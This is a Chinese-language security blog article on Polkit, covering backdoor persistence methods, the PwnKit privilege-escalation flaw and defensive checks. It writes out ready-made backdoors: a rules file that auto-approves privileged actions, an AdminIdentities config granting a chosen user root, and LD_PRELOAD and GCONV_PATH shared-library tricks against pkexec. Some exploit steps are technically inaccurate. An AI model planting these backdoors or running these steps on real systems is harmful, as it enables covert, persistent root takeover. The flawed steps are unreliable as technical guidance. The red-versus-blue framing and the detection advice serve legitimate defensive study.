引言
Polkit(原名 PolicyKit)是 Linux 系统中关键的权限管理组件,用于协调非特权进程与特权服务之间的权限请求。它通过 pkexec 等工具提供比传统 sudo 更加细粒度的权限控制。然而,与此同时,其组件和配置若被植入后门或遭遇漏洞,也可能成为红队攻击者的长期潜伏与权限维持渠道。本文从网络安全角度,全面解析 Polkit 后门植入方式、历史漏洞(如 PwnKit)、以及如何检测与防御这些安全威胁。
一、Polkit 后门植入方式概览
后门(Backdoor)是攻击者为持续控制目标系统而植入的隐藏入口。相比于内核模块后门或 rootkit,Polkit 后门具有更强的隐蔽性与合法外衣,尤其当伪装成授权机制时更难被察觉。
1. 伪装为 Polkit 守护进程
Polkit 的核心组件 polkitd 是一个运行在系统中的守护进程,负责处理 D-Bus 权限请求。攻击者可通过伪装 polkitd 创建隐蔽后门:
- 实现方式:攻击者编写一个与
polkitd同名或类似命名的恶意进程(如/tmp/polkitd),监听 D-Bus 通信,拦截权限请求并自动批准特权操作。例如,2022 年发现的 “RedXOR” 后门通过伪装为polkitd,以合法进程的身份运行,规避常规检测。攻击者可能修改systemd服务(如/lib/systemd/system/polkit.service),替换为恶意服务脚本,确保后门随系统启动。 - 技术细节:恶意进程通常模拟
org.freedesktop.PolicyKit1D-Bus 接口,响应权限请求。攻击者可通过dbus-send测试接口,验证是否能触发恶意授权。伪装进程可能记录敏感信息(如用户凭据)或执行预设命令(如开启 root shell)。 - 危害:伪装进程与合法
polkitd的行为高度相似,难以通过进程名或端口检查发现。攻击者可通过此渠道长期控制系统,执行任意特权操作。 - 案例分析:若攻击者在
/tmp部署伪装的polkitd,并通过systemctl启用服务,常规工具如ps或top可能无法识别异常。
2. JavaScript 规则文件中植入恶意授权
Polkit 支持通过 JavaScript 规则文件(位于 /etc/polkit-1/rules.d/ 或 /usr/share/polkit-1/rules.d/)定义权限策略,攻击者可利用此机制植入后门:
-
实现方式:攻击者创建一个伪装为合法的
.rules文件,写入恶意 JavaScript 代码。例如:polkit.addRule(function(action, subject) { if (subject.user == "malicious_user" || action.id == "org.freedesktop.any.action") { return polkit.Result.YES; // 自动授权任意操作 } });该规则允许
malicious_user无需验证即可执行任何特权操作。 -
技术细节:攻击者通过提权漏洞或管理员权限,将恶意
.rules文件写入规则目录。Polkit 在启动或规则变更时动态加载这些文件,以 root 权限执行其中代码。攻击者可隐藏恶意逻辑(如通过复杂条件或加密函数),降低被检测的可能性。 -
危害:恶意规则文件在系统重启后仍有效,提供持久化后门入口。由于规则文件以文本形式存储,攻击者可通过伪装文件名(如
50-legit.rules)或注释混淆代码,增加检测难度。 -
案例分析:若攻击者将恶意规则写入
/etc/polkit-1/rules.d/50-malicious.rules,可实现对特定用户或操作的自动授权,绕过所有认证流程。
3. 利用环境变量或路径劫持加载恶意库
Polkit 相关程序(如 pkexec)在加载动态库时可能受到环境变量影响,攻击者可利用此机制注入恶意共享库:
-
实现方式:攻击者修改
LD_PRELOAD、LD_LIBRARY_PATH或GCONV_PATH等环境变量,诱导pkexec加载恶意共享库。例如:export LD_PRELOAD=/tmp/malicious.so pkexec /bin/bash其中,
/tmp/malicious.so包含特权代码,触发后可执行任意命令。 -
技术细节:恶意共享库通常通过
gcc编译,包含构造函数(如__attribute__((constructor)))以自动执行代码。攻击者可能结合 SUID 程序特性,确保代码以 root 权限运行。此外,通过路径劫持(如修改PATH指向伪装的可执行文件),可进一步隐藏恶意行为。 -
危害:这种后门利用 Linux 动态链接机制的弱点,隐蔽性极高。常规文件扫描可能无法发现隐藏在非标准路径的恶意库,且攻击者可通过加密或混淆库内容规避检测。
-
案例分析:攻击者可能在
/tmp创建伪装库,结合pkexec的 SUID 属性,快速获取 root 权限。
4. 修改 Polkit 配置文件的后门
攻击者可通过修改 Polkit 配置文件(如 /etc/polkit-1/localauthority.conf.d/ 下的文件)植入后门,授予特定用户特权权限:
-
实现方式:假设攻击者写入的恶意配置文件
/etc/polkit-1/localauthority.conf.d/40-hungry-default.conf内容如下:[Configuration] AdminIdentities=unix-user:hungry该配置将用户
hungry指定为管理员身份,允许其通过自身密码调用pkexec执行特权操作,获取 root 权限。例如:pkexec --user hungry /bin/bash输入
hungry用户的密码后,可直接获得 root shell。 -
技术细节:Polkit 的
localauthority配置目录存储权限策略文件,文件以.conf后缀命名,格式遵循ini语法。AdminIdentities参数定义可执行特权操作的用户或组,unix-user:hungry表示用户hungry被授予管理员权限。攻击者通常通过提权漏洞或管理员权限修改此文件,实现持久化后门。 -
危害:此后门利用 Polkit 的合法配置机制,隐蔽性极高。
hungry用户看似普通,但可通过简单命令获取 root 权限,且配置文件的存在不会触发常规安全告警。 -
案例分析:攻击者可能会在提权后植入上述配置文件进行权限维持。用户
hungry随后可通过pkexec执行任意命令,绕过传统sudo限制。
二、深度回顾:历史重大漏洞 —— PwnKit(CVE‑2021‑4034)
PwnKit 是 Polkit 历史上最具影响力的漏洞之一,其简单性和广泛性使其成为红队攻击的经典案例。以下从背景、技术细节和防护措施深入分析。
2.1 漏洞背景与影响
PwnKit(CVE-2021-4034)是一个存在于 pkexec(Polkit 的 SUID-root 程序)中的本地提权漏洞,由 Qualys 安全团队于 2021 年披露。漏洞存在时间超过 12 年,影响 Ubuntu、Debian、Fedora、RHEL 和 CentOS 等主流 Linux 发行版。
- 漏洞原理:
pkexec在处理命令行参数(argc和argv)时存在逻辑错误。当argc为 0(无参数调用)时,pkexec尝试访问argv[1],导致越界读写,影响envp[0](环境变量)。攻击者可通过构造恶意环境变量(如GCONV_PATH)注入代码路径,执行任意代码。 - 影响范围:作为默认安装的 SUID 程序,
pkexec允许任何本地用户(即使无特权)利用此漏洞获取 root 权限,攻击门槛极低。
2.2 漏洞利用方法
攻击者可通过以下步骤利用 PwnKit:
-
构造空参数调用:通过直接执行
pkexec(无参数)触发argc=0,导致越界访问。例如:pkexec -
注入恶意环境变量:利用
GCONV_PATH指向攻击者控制的目录,包含伪装的动态链接库。例如:export GCONV_PATH=/tmp/malicious mkdir -p /tmp/malicious echo 'void __attribute__((constructor)) init() { system("/bin/bash"); }' > /tmp/malicious/malicious.c gcc -shared -fPIC -o /tmp/malicious/malicious.so /tmp/malicious/malicious.c pkexec该代码创建一个恶意共享库,触发 root shell。
-
执行提权:
pkexec加载恶意库后,攻击者获得 root 权限,可执行任意系统操作。
此利用方式简单高效,脚本化后可在数秒内完成提权。
2.3 防护措施
为应对 PwnKit,系统管理员应采取以下措施:
-
立即安装补丁:各发行版已发布补丁,修复
pkexec的参数处理逻辑。运行以下命令更新系统:sudo apt update && sudo apt upgrade # Ubuntu/Debian sudo dnf update # Fedora sudo yum update # RHEL/CentOS -
临时缓解措施:若无法立即更新,可移除
pkexec的 SUID 位:chmod 0755 /usr/bin/pkexec此操作禁用
pkexec提权功能,需评估业务影响。 -
监控与检测:使用文件完整性监控工具(如 AIDE)检查
pkexec和相关文件的哈希值,防止篡改。
三、Polkit 后门对红蓝对抗的意义
3.1 红队视角:持续潜伏与权限升级
- 潜伏与维护权限:植入后门后,攻击者可使用合法组件(如 Polkit 或
pkexec)获取 root 权限,同时难以被常规防护发现。 - 规则持久注入:恶意
.rules文件生效后重启仍旧有效,便于长期控制。
3.2 蓝队视角:检测与响应策略
- 完整性校验:对
/usr/bin/pkexec、polkitd、规则目录等关键文件进行哈希比对与防篡改检测。 - 审计日志监控:搜集 Polkit 操作日志,监控异常授权事件或非正常的 D-Bus 请求。
- 运行时行为分析:监视环境变量使用情况,检测是否有异常加载路径或库被注入行为。
- 应用防御与补丁管理:及时部署漏洞补丁,如 PwnKit 漏洞,同时监控新的后门技术。
结论
Polkit 是 Linux 系统中提供精细权限控制的核心组件,但其组件中存在的漏洞(如 PwnKit)与可能被恶意植入的后门规则,极易被攻击者用作权限维持和控制入口。作为高级安全顾问或渗透测试专家,你需要从红蓝对抗的角度全面理解:红队如何利用 Polkit 维持后门,以及蓝队如何有效监测、响应和防御这种威胁。实战中,强化补丁管理、行为审计和完整性校验,是确保系统稳健和安全的基石。
原文 https://blog.csdn.net/2301_79518550/article/details/150011328